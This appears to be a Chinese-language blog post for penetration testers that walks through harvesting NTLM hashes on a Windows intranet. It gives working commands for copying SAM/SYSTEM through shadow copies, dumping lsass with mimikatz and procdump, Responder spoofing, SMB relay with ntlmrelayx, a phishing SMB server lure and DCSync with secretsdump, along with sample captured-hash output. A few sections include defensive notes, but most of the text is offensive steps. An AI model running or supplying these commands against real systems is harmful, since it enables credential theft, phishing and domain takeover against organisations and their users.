孩子最近刚进内网access denied了,能够vivo一个ntlm吗?
基础知识
NTLM(NT LAN Manager)是由微软开发的一种安全协议,主要用于在不使用Kerberos的情况下进行身份验证。它常用于Windows环境中的网络身份验证以及一些旧版系统的兼容性。
NTLM令牌是NTLM身份验证过程中生成的凭据数据,用于识别和验证用户的身份。具体来说,NTLM令牌包含了经过加密处理的用户凭证(如用户名和密码的哈希值),并在客户端与服务器之间传递,以完成身份验证。
NTLM身份验证过程包括三个主要阶段:
- 协商(Negotiate):客户端向服务器发送请求,表明它支持NTLM身份验证。
- 质询(Challenge):服务器生成一个随机数(称为质询)发送给客户端。
- 响应(Response):客户端使用用户的密码哈希对质询进行加密,并将加密后的响应发送回服务器,服务器通过验证该响应来确认用户的身份。
在这个过程中,NTLM令牌就是包含这些验证信息的数据包,用于传递客户端的身份信息和加密响应。
总结来说,NTLM令牌是NTLM协议中用于身份验证的凭据,它包含经过加密的用户信息,确保用户身份可以在网络通信中被安全验证。
NTLM票据挖掘
系统文件(SYSTEM+SAM)
卷影复制服务
Windows提供了一个叫做卷影复制服务(Volume Shadow Copy Service, VSS)的功能,它可以创建系统卷的快照,允许你访问被系统锁定的文件。
步骤:
-
创建卷影副本: 使用
vssadmin
命令创建卷影副本。 -
打开命令提示符(以管理员身份运行),输入以下命令:
vssadmin create shadow /for=C:
-
这将创建C盘的卷影副本。
-
查找卷影副本路径: 运行以下命令查看卷影副本的路径:
vssadmin list shadows
-
你将看到类似于
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX
的路径。 -
复制SYSTEM和SAM文件: 现在你可以从卷影副本中复制
SYSTEM
和SAM
文件。假设卷影副本的路径是\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
,你可以运行以下命令来复制文件:copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM -
这将把
SYSTEM
和SAM
文件复制到C:\temp
目录下。
下载到本机后结合mimikatz
mimikatz
lsadump::sam /system:system文件路径 /sam:sam文件路径
就能拿到ntlm哈希值了
- 缺点:要admin而且vssadmin容易触发杀软
内存提取
主要是针对lsass.exe
1. Mimikatz
Mimikatz 是最常用的工具之一,能够直接从 lsass.exe
进程中提取凭据。它不仅可以提取 NTLM 哈希,还可以提取明文密码(如果启用了 WDigest)、Kerberos 票据等。
使用 Mimikatz 提取凭据的步骤:
-
下载 Mimikatz:
- 你可以从 GitHub 上下载 Mimikatz 的二进制文件或源码:https://github.com/gentilkiwi/mimikatz
-
以**管理员**权限运行 Mimikatz:
- Mimikatz 需要管理员权限才能访问
lsass.exe
进程的内存。
- Mimikatz 需要管理员权限才能访问
-
启用 SeDebugPrivilege:
-
在 Mimikatz 中,首先启用调试权限:
privilege::debug
-
-
提取凭据:
-
使用以下命令直接从
lsass.exe
中提取凭据:sekurlsa::logonpasswords
-
该命令会列出当前在系统上登录的用户凭据,包括:
-
明文密码(如果启用了 WDigest)
-
NTLM 哈希
-
Kerberos 票据等
-
-
-
输出示例:
- Authentication Id : 0 ; 123456 (00000000:0001e240) Session : Interactive from 1 User Name : Administrator Domain : DOMAIN Logon Server : DC01 Logon Time : 2023/11/18 10:32:11 SID : S-1-5-21-1234567890-2345678901-3456789012-500 msv : [00000003] Primary Username : Administrator Domain : DOMAIN NTLM : 11223344556677889900AABBCCDDEEFF
- 在此示例中,
NTLM
字段就是捕获到的 NTLM 哈希。攻击者可以使用这个哈希进行 Pass-the-Hash 攻击,或者尝试破解哈希以获取明文密码。
2. Procdump + Mimikatz
如果你不想直接在受害者机器上运行 Mimikatz,可以使用微软提供的 Procdump 工具来转储 lsass.exe
进程的内存,然后在离线环境中使用 Mimikatz 分析该转储文件。
使用 Procdump 提取 LSASS 内存**转储:**
-
下载 Procdump:
- 从微软的 Sysinternals 网站下载 Procdump 工具:https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
-
以管理员权限运行 Procdump:
-
使用以下命令转储
lsass.exe
进程的内存:procdump.exe -ma lsass.exe lsass.dmp
-
该命令会生成一个
lsass.dmp
文件,包含lsass.exe
进程的内存内容。
-
-
使用 Mimikatz 分析转储文件:
-
将
lsass.dmp
文件复制到你的本地机器或离线分析环境中,然后使用 Mimikatz 分析该文件:mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords -
sekurlsa::minidump
命令加载转储文件,sekurlsa::logonpasswords
命令从转储文件中提取凭据。
-
局限
1. 管理员权限要求
-
局限性:要访问并转储
lsass.exe
进程的内存,攻击者需要本地管理员权限或更高权限。没有足够的权限,攻击者将无法访问该进程的内存。 -
防御措施:通过最小化权限原则(Least Privilege Principle),限制用户和应用程序的权限,确保非授权用户无法获得管理员权限。还可以通过使用工具(如 LAPS,Local Administrator Password Solution)来管理本地管理员密码,并定期更改密码以减少被滥用的风险。
2. 禁用 WDigest
-
局限性:在较新的 Windows 版本(Windows 8.1 及更高版本)中,默认情况下 WDigest 认证协议是禁用的。这意味着即使攻击者能够访问
lsass.exe
的内存,也无法提取到明文密码,只能获取 NTLM 哈希或 Kerberos 票据。 -
防御措施:确保 WDigest 认证协议保持禁用状态。可以通过以下注册表项来确认 WDigest 是否被禁用:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
-
该键值应为
0
,表示禁用 WDigest。
浏览器凭据获取
可用链接:https://github.com/StarfireLab/SharpWeb
Edge
旧版chrome
Firefox
流量劫持
Wireshark嗯分析
https://zhuanlan.zhihu.com/p/52882041
具体参考↑
Responder利用
1. LLMNR 和 NBT-NS 欺骗
-
LLMNR(Link-Local Multicast Name Resolution) 和 NBT-NS(NetBIOS Name Service) 是 Windows 网络中用于名称解析的协议。当系统无法通过 DNS 解析某个主机名时,会广播请求,询问网络中的其他设备是否知道该主机名。
-
Responder 可以通过监听这些广播请求并伪装成目标主机,诱使请求者将其凭据发送给攻击者。
使用步骤:
-
启动 Responder:
- 首先,确保你在目标网络的同一网段内(例如通过获得网络访问权限),然后运行 Responder 来监听 LLMNR 和 NBT-NS 请求。
sudo responder -I eth0
-
等待捕获 NTLM 凭据:
-
当网络中的某个设备尝试解析一个不存在的主机名时,Responder 会伪装成该主机并响应请求,诱使目标设备发送 NTLMv1 或 NTLMv2 凭据。
-
Responder 会显示捕获的 NTLM 哈希,类似如下输出:
[SMB] NTLMv2-SSP Client : 192.168.1.100
[SMB] NTLMv2-SSP Username : DOMAIN\user
[SMB] NTLMv2-SSP Hash : user::DOMAIN:1122334455667788:ABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEF::1122334455667788 -
-
使用捕获的 NTLM 哈希:
- 捕获到的 NTLM 哈希可以通过破解工具(如 hashcat)尝试还原明文密码。
利用条件:
-
LLMNR 或 NBT-NS 启用:目标网络中的计算机必须启用了 LLMNR(Link-Local Multicast Name Resolution)或 NBT-NS(NetBIOS Name Service)。这两个协议用于名称解析,当系统无法通过 DNS 解析某个主机名时,会向网络中的其他设备广播请求。
-
LLMNR 通常在 Windows 7 及之后的系统中启用。
-
NBT-NS 是较旧的协议,主要用于早期的 Windows 系统,但在很多组织中仍然存在。
-
-
目标系统发出名称解析请求:目标系统必须试图解析一个不存在或错误的主机名(例如,用户尝试访问一个拼写错误的主机名),这会触发 LLMNR 或 NBT-NS 请求。
-
网络中没有正确配置的 DNS:如果 DNS 服务器能够正确解析主机名,则不会触发 LLMNR 或 NBT-NS 请求。因此,网络中需要存在某种 DNS 配置问题或主机名错误。
攻击场景:
- 当用户尝试访问一个不存在的主机时(例如
\\nonexistent-share
),系统会发出 LLMNR 或 NBT-NS 请求,询问网络中的其他设备是否知道该主机。Responder 捕获该请求,并伪装成目标主机,诱使用户系统发送 NTLM 凭据。
防御措施:
-
禁用 LLMNR 和 NBT-NS 协议。
-
确保 DNS 配置正确,减少系统对 LLMNR 和 NBT-NS 的依赖。
2. SMB 中继攻击
-
Responder 还可以结合 SMB 中继攻击(SMB Relay Attack),即捕获一个 NTLM 哈希后,直接将其中继到另一个系统,尝试以该用户的身份进行身份验证和访问。
-
这种攻击方法特别有效,当目标网络中存在不安全的 SMB 策略(如允许 NTLM 身份验证且未启用 SMB 签名时)。
使用步骤:
-
启动 Responder 进行中继:
- 首先,使用 Responder 启动中继功能,将捕获的 NTLM 哈希中继到另一个目标系统。
sudo responder -I eth0 --lm -r -w
-
启动 Responder 中继模块(Responder-Relay):
- Responder 自带的中继模块可以将捕获的 NTLM 哈希传递给另一个目标系统,尝试进行身份验证。
sudo python3 /usr/share/responder/tools/RunFinger.py 192.168.1.105
-
使用 Responder 进行 SMB 中继:
- 如果目标系统允许中继,可以使用 ntlmrelayx.py(来自 Impacket 工具集)结合 Responder 进行 SMB 中继攻击。
sudo ntlmrelayx.py -tf targets.txt -smb2support
利用条件:
-
目标网络中存在不安全的 SMB 配置:SMB 中继攻击的成功依赖于目标系统的 SMB 配置。具体来说,以下条件必须满足:
-
目标系统未启用 SMB 签名:如果目标系统启用了 SMB 签名(特别是强制 SMB 签名),那么 SMB 中继攻击将无法成功,因为签名会验证消息的完整性,防止中继攻击。
-
目标系统允许 NTLM 认证:中继攻击的目标系统必须允许 NTLM 认证。如果目标系统仅接受 Kerberos 认证,攻击将无法进行。
-
-
攻击者能够中继 NTLM 凭据:攻击者需要能够捕获到 NTLM 凭据(例如通过 LLMNR/NBT-NS 欺骗、HTTP 中继等),并将其中继到另一个目标系统。
-
目标用户具有访问权限:捕获到的 NTLM 凭据必须属于一个对目标系统有足够权限的用户(例如,具有访问文件共享或执行远程命令的权限)。
攻击场景:
- 攻击者通过 LLMNR/NBT-NS 欺骗捕获到某个用户的 NTLM 凭据,然后将该凭据中继到另一个系统,尝试对该系统进行身份验证。如果目标系统未启用 SMB 签名且允许 NTLM 认证,攻击者可以以该用户的身份访问系统资源。
防御措施:
-
启用并强制 SMB 签名。
-
禁用 NTLM 认证,或仅在必要时使用 NTLM。
-
限制用户对关键系统的访问权限,减少高权限账户的暴露。
3. WPAD 欺骗(Web Proxy Auto-Discovery)
-
WPAD 是一种自动发现代理服务器配置的协议,Windows 系统会通过 WPAD 查找网络中的代理服务器。
-
Responder 可以通过伪造 WPAD 响应,诱使目标系统将其流量通过攻击者的机器,从而捕获 NTLM 凭据。
使用步骤:
-
启动 Responder 进行 WPAD 欺骗:
- 使用 Responder 启动 WPAD 欺骗功能,监听目标网络中的 WPAD 请求。
sudo responder -I eth0 -w
-
捕获 NTLM 凭据:
-
当目标系统尝试通过 WPAD 自动配置代理时,Responder 会伪装成代理服务器,诱使目标系统发送 NTLM 凭据。
-
Responder 将显示捕获到的 NTLM 哈希,类似于前面提到的输出。
-
利用条件:
-
网络中启用了 WPAD(Web Proxy Auto-Discovery Protocol):WPAD 是一种自动发现代理服务器配置的协议,Windows 系统会通过 WPAD 查找网络中的代理服务器。如果网络中启用了 WPAD,并且没有正确配置代理服务器,攻击者可以利用 WPAD 欺骗。
-
目标系统配置为自动发现代理:目标系统必须配置为使用 WPAD 自动发现代理服务器。通常,Windows 系统默认启用此功能,尤其是在域环境中。
-
攻击者能够伪装为代理服务器:攻击者可以使用 Responder 伪装成网络中的代理服务器,响应 WPAD 请求,并诱使目标系统将流量通过攻击者的机器。
-
目标系统发送 NTLM 认证请求:当目标系统尝试通过伪造的代理服务器访问外部资源时,攻击者可以诱使其发送 NTLM 凭据。
攻击场景:
- 当用户打开浏览器或其他应用程序并尝试访问互联网时,系统会通过 WPAD 自动查找代理服务器。Responder 伪装成代理服务器,诱使用户系统将流量通过攻击者的机器,并捕获到 NTLM 凭据。
防御措施:
-
禁用 WPAD 协议,或确保网络中正确配置了 WPAD 代理服务器。
-
配置浏览器和应用程序手动指定代理服务器,而不是通过自动发现。
SMB服务钓鱼
impacket-smbserver+xss利用
我们不止可以通过中间人攻击来实现获取凭据,我们还可以通过搭建具体的钓鱼服务器来实现凭据截取
启动 impacket包自带SMB 服务器:
smbserver.py -smb2support SHARE /tmp/smbshare
-
SHARE
是共享名称。 -
/tmp/smbshare
是共享目录的路径。 -
-smb2support
选项是为了确保支持 SMBv2 协议。
此时,smbserver.py
会监听 SMB 请求,并捕获试图访问此 SMB 共享的任何用户的 NTLM 凭据。
- 诱导用户访问恶意 SMB 服务器
你可以通过以下方式诱导用户访问你的 SMB 服务器:
-
电子邮件链接: 在电子邮件中嵌入指向 SMB 共享的链接。例如:
Hey, check this out: \
\SHARE -
当用户点击此链接时,Windows 会自动尝试连接到该 SMB 共享,并发送 NTLM 凭据。
-
网页嵌入: 在网页中嵌入指向 SMB 共享的资源,例如图片或脚本:
-
当用户访问此网页时,浏览器会尝试加载该图片,从而触发 NTLM 认证。
DCsync攻击
利用条件
要成功发起 DCSync 攻击,攻击者需要具备以下条件:
-
域**管理员**权限或具有足够权限的账户:
-
DCSync 攻击并不需要直接在域控制器上执行,而是通过模拟域控制器的行为来请求凭据数据。要做到这一点,攻击者需要拥有能够调用 AD 复制功能的权限。
-
具体来说,攻击者需要拥有以下权限之一:
-
**域管理员(Domain Admins)**组成员。
-
**企业管理员(Enterprise Admins)**组成员。
-
**域控制器(Domain Controllers)**组成员。
-
**备份操作员(Backup Operators)**组成员(在某些配置中)。
-
-
这些账户具有足够的权限来请求 AD 复制,因此攻击者可以通过这些账户发起 DCSync 攻击。
-
-
访问域**环境**:
-
攻击者需要能够访问域环境中的域控制器,通常是通过网络访问。
-
攻击者必须能够与域控制器通信,以便发起 DCSync 请求。
-
具体操作
假设你已经获得了一个具有高权限的账户(如域管理员),你可以使用该账户来执行 DCSync 攻击,提取域用户的 NTLM 哈希。
secretsdump.py /:@
示例
假设你有一个域管理员账户 admin
,密码为 password123
,域控制器的 IP 地址为 192.168.1.10
,你可以运行以下命令来提取凭据:
secretsdump.py contoso.local/admin:password123@192.168.1.10
使用 NTLM 哈希进行身份验证
如果你已经获取了某个高权限账户的 NTLM 哈希,可以使用 Pass-the-Hash 技术来执行 DCSync 攻击,而不需要知道该账户的明文密码。
secretsdump.py contoso.local/admin@192.168.1.10 -hashes :
执行完 secretsdump.py
后,你会看到类似以下的输出:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:11223344556677889900AABBCCDDEEFF:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:99887766554433221100FFEEDDCCBBAA:::
你可以使用提取出来的 NTLM 哈希进行后续攻击(如 Pass-the-Hash)。
日志配置不当
1. Windows 安全事件日志
Windows 安全日志中记录了大量与身份验证相关的事件。在某些情况下,错误配置的日志记录可能会记录 NTLM 哈希。
-
事件 ID 4624:成功的登录事件。
-
这个事件可能会记录用户通过 NTLM 成功登录的详细信息,尤其是在 NTLM 身份验证被使用的情况下。
-
检查事件的 "详细信息" 部分,特别是
Authentication Package
字段是否为NTLM
。虽然默认情况下不会记录哈希值,但错误配置的日志记录或调试模式可能会导致哈希值泄露。
-
-
事件 ID 4776:NTLM 身份验证尝试。
-
这个事件会记录 NTLM 身份验证的请求和结果。通常只会记录用户名和域,但如果日志记录配置不当,可能会记录 NTLM 哈希。
-
检查 "错误代码" 和 "身份验证包" 字段,确保没有敏感信息被记录。
-
2. IIS(Internet Information Services)日志
如果你的环境中使用了 IIS,并且 IIS 配置为使用 NTLM 身份验证,IIS 日志可能会记录与 NTLM 身份验证相关的信息。
-
检查 IIS 的详细日志设置,确保没有记录 NTLM 哈希或其他敏感信息。
-
如果 IIS 配置为详细记录身份验证请求,可能会记录 NTLM 身份验证的详细信息,甚至包括哈希值。
3.打印机服务
打印机一般采用smb进行文件传输的,如果日志配置不当。就会把哈希值写到日志中,可能造成泄露